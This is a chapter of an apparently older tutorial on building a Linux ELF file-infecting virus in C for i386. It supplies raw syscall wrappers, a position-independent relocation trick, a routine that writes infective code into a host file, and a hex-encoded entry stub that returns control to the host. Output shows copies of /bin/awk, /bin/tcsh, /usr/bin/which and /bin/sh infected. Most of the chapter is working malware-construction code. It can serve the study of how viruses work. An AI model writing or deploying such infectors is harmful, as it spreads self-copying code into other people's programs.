Doing it in C

System calls

Have a look at the disassembly of function write. That code checks the return value of the system call and sets variable errno on error. We don't need this. Actually we can't access global variables at all. And our code does not care for the return code, anyway.

It is also remarkable that the code loads only the four required registers. The sources of glibc make great effort to provide optimal code for every case. I find the macros in glibc-2.2.4/sysdeps/unix/sysv/linux/i386/sysdep.h quite interesting.

For our needs a simple function will do. The line starting with a colon is a constraint. It somehow declares the value that eax has after the asm block to be the value of variable result. The following return statement would load the value of result into eax again, but fortunately gcc optimizes this correctly. Of course the code would work without constraint and return. But the compiler would issue warning "no return statement in function returning non-void".

RedHat's gcc-2.96-98 produces weird code if the assembly statements are grouped in a single asm block. In that case mov ebp,esp (see the following disassembly) is done not on function entry, but after the asm.

Note that we can't name our function plain syscall. There is already such a declaration in unistd.h.

int do_syscall(int number, ...)
{
  int result;
  asm("push %ebx; push %esi; push %edi");
  asm(
    "mov 28(%%ebp),%%edi;"
    "mov 24(%%ebp),%%esi;"
    "mov 20(%%ebp),%%edx;"
    "mov 16(%%ebp),%%ecx;"
    "mov 12(%%ebp),%%ebx;"
    "mov  8(%%ebp),%%eax;"
    "int $0x80"
    : "=a" (result)
  );
  asm("pop %edi; pop %esi; pop %ebx");
  return result;
}

The disassembly proves that the return statement is really optimized (though that really does not help the bloat).

(gdb) (gdb) Dump of assembler code for function do_syscall__Fie:
0x804962c <do_syscall__Fie>:	push   ebp
0x804962d <do_syscall__Fie+1>:	mov    ebp,esp
0x804962f <do_syscall__Fie+3>:	push   ebx
0x8049630 <do_syscall__Fie+4>:	push   esi
0x8049631 <do_syscall__Fie+5>:	push   edi
0x8049632 <do_syscall__Fie+6>:	mov    edi,DWORD PTR [ebp+28]
0x8049635 <do_syscall__Fie+9>:	mov    esi,DWORD PTR [ebp+24]
0x8049638 <do_syscall__Fie+12>:	mov    edx,DWORD PTR [ebp+20]
0x804963b <do_syscall__Fie+15>:	mov    ecx,DWORD PTR [ebp+16]
0x804963e <do_syscall__Fie+18>:	mov    ebx,DWORD PTR [ebp+12]
0x8049641 <do_syscall__Fie+21>:	mov    eax,DWORD PTR [ebp+8]
0x8049644 <do_syscall__Fie+24>:	int    0x80
0x8049646 <do_syscall__Fie+26>:	pop    edi
0x8049647 <do_syscall__Fie+27>:	pop    esi
0x8049648 <do_syscall__Fie+28>:	pop    ebx
0x8049649 <do_syscall__Fie+29>:	pop    ebp
0x804964a <do_syscall__Fie+30>:	ret    

Position independent code

Previous examples required a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).

The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of required patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that gcc's option -fpic does not help this problem at all.

-fpic

Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)

The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A call pushes the current value of IP onto the stack and adds a relative offset to it. Offset 0 just continues with the following instruction. And if that instruction is a pop we load the the address of the pop instruction itself in a regular register.

We can compare the actual value of IP with the location the linker had in mind when it built the original executable. If the following code is executed at the exact location the linker gave it in the original file, then eax will be exactly the address of label delta after the pop. And the following sub instruction will then set eax to zero.

int get_relocate_ofs(void)
{
  int result;
  __asm__(
    "call   delta         ;"
    "delta:                "
    "pop    %%eax         ;"
    "sub    $(delta),%%eax;"
    : "=a" (result)
  );
  return result;
}

A dump from gdb is not enough to demonstrate this function. I want to show that the last four bytes of the opcode of the call instruction are really zero.

#!/bin/sh
file=${1:-tmp/doing_it_in_c/three/infector}
func=${2:-get_relocate_ofs}
location=$( \
	nm ${file} \
	| sed -ne "/^[0-9].*${func}/s/ .*//p" \
	| tr a-f A-F \
)
offset=$( echo "ibase=16; ${location} - 08048000" | bc )
ndisasm -e ${offset} -o 0x${location} -U ${file} | sed -e '/ret/q'

0804964C  55                push ebp
0804964D  E800000000        call 0x8049652
08049652  58                pop eax
08049653  2D52960408        sub eax,0x8049652
08049658  89E5              mov ebp,esp
0804965A  5D                pop ebp
0804965B  C3                ret

writeInfection

We now have all parts to implement a position independent version of Target::writeInfection. This code works as part of a first stage infector. Output to prove it is at the end of this chapter. It should also work as part of an infection. But do you remember the paragraph in Introduction about "exercise left to the reader"?

Compare this code with the first version. Instead of operating on a single variable, Target::infection, we write every byte between the start of infection and function end. Making sure that certain functions and constant data build a consecutive region requires little more than discipline and dirty tricks.

void end();
int do_syscall(int, ...);

#include "infection.inc"
#include "core.inc"
#include "do_syscall.inc"
#include "get_relocate_ofs.inc"

unsigned Target::writeInfection()
{
  int ofs = get_relocate_ofs();
  char* r_begin = ofs + (char*)&infection;
  char* r_end = ofs + (char*)&end;
  unsigned size = r_end - r_begin;

  /* first byte is the opcode for "push" */
  do_syscall(4, fd_dst, r_begin, 1);

  /* next four bytes is the address to "ret" to */
  do_syscall(4, fd_dst, &original_entry, sizeof(original_entry));

  /* rest of infective code */
  do_syscall(4, fd_dst, r_begin + 5, size - 5);
  return size;
}

void end() {}

A section called .text

It is very difficult to persuade the linker to arrange object files in a specific order. But by putting all definitions into a single compilation unit (a .c that ends up in a .o) we are quite safe on that front. And though it is nowhere specified, most compilers will write definitions in the order they read them. So the "only" remaining problem is implementation specific classification of definitions. A small test program illustrates the problem.

#include <stdio.h>

void* begin() { return "string literal"; }

static const char constant_a[] = "first try";
static const char constant_b[]
__attribute__ ((section (".text"))) = "second try";

void end() {}

int main()
{
  printf("begin          = %p\n", &begin);
  printf("string literal = %p\n", begin());
  printf("constant_a     = %p\n", constant_a);
  printf("constant_b     = %p\n", constant_b);
  printf("end            = %p\n", &end);
  return 0;
}

begin          = 0x8048460
string literal = 0x8048562
constant_a     = 0x8048558
constant_b     = 0x804846a
end            = 0x8048480

Functions are ordered intuitively. However, constant data is put in a separate section called .rodata. And sections are ordered as whole. See the section-to-segment mapping in readelf's output at Bashful glance.

I see a few approaches to the problem.

• Copy the complete code-segment as defined by the ELF header.

• Define begin and end for each section to copy.

• Put constant data into section .text.

Anyway, the real problem is accessing these bytes in a position independent fashion. For code this is more or less default. call and jmp work with relative offsets. Large contiguous switch blocks could get optimized as a lookup tables, but this is easy to work around. Explicit function pointers can be corrected manually with get_relocate_ofs. The same be could be done with items in virtual method tables. But then the table itself is accessed by compiler-generated code which is hard to correct.

However, every data access requires explicit calculation through get_relocate_ofs. This includes innocent looking string literals. Basically you always have to look at the disassembly of your C code to go sure.

In our trivial example Target::infection holds stub code written in assembler and is never accessed as data. Anyway, here is gcc's documentation on the issue.

section ("section-name")

Normally, the compiler places the objects it generates in sections like "data" and "bss". Sometimes, however, you need additional sections, or you need certain particular variables to appear in special sections, for example to map to special hardware. The "section" attribute specifies that a variable (or function) lives in a particular section.

The stub

This is the link between regular C code and unsuspecting host.

• The new entry point is at a constant offset inside inserted code. Preferred value is 0.

• The original entry address is patched into the inserted code at a constant offset. Previous examples used 1.

• We need a mechanism to activate host code again. Ideally we should leave no trace of our existence, but unmodified registers (especially esp) will suffice.

The code below relies on prober alignment through the compiler. Through an __attribute__ clause the character array Target::infection starts at an address that is a multiple of 16. An assembler directive pads the stub with enough nop instruction to make its size a multiple of 16. Which means that any object placed after the infection is also aligned on a multiple of 16. And 16 is typically the highest possible alignment for i386 compilers.

There is absolutely no reason for compiler or assembler to insert padding bytes between infection and the following function, called core.

		BITS 32

		push	dword 0		; replace with original entry address
		pushf
		pusha
		call	core
		popa
		popf
		ret

		align 16
core:

const unsigned char Target::infection[]
__attribute__ (( aligned(16), section(".text") )) =
{
  0x68,0x00,0x00,0x00,0x00,    /* 00000000: push dword 0x0       */
  0x9C,                        /* 00000005: pushf                */
  0x60,                        /* 00000006: pusha                */
  0xE8,0x04,0x00,0x00,0x00,    /* 00000007: call 0x10            */
  0x61,                        /* 0000000C: popa                 */
  0x9D,                        /* 0000000D: popf                 */
  0xC3,                        /* 0000000E: ret                  */
  0x90                         /* 0000000F: nop                  */
};

If you consider above code too much vodoo, think about the alternative. Functions compiled by gcc are decorated with entry and exit code. The dump at the end of System calls is the next best example. I have no way to supress that push ebp. And I also don't see how to put code between pop ebp and ret. So we would have to build our own exit code using inline assembly. Basically a pop ebp and some kind of jmp. The exit code generated by gcc would still be there, but just not used.

All together now

Infecting copy of /bin/awk... wrote 184 bytes, Ok
Infecting copy of /bin/tcsh... wrote 184 bytes, Ok
Infecting copy of /usr/bin/which... wrote 184 bytes, Ok
Infecting copy of /bin/sh... wrote 184 bytes, Ok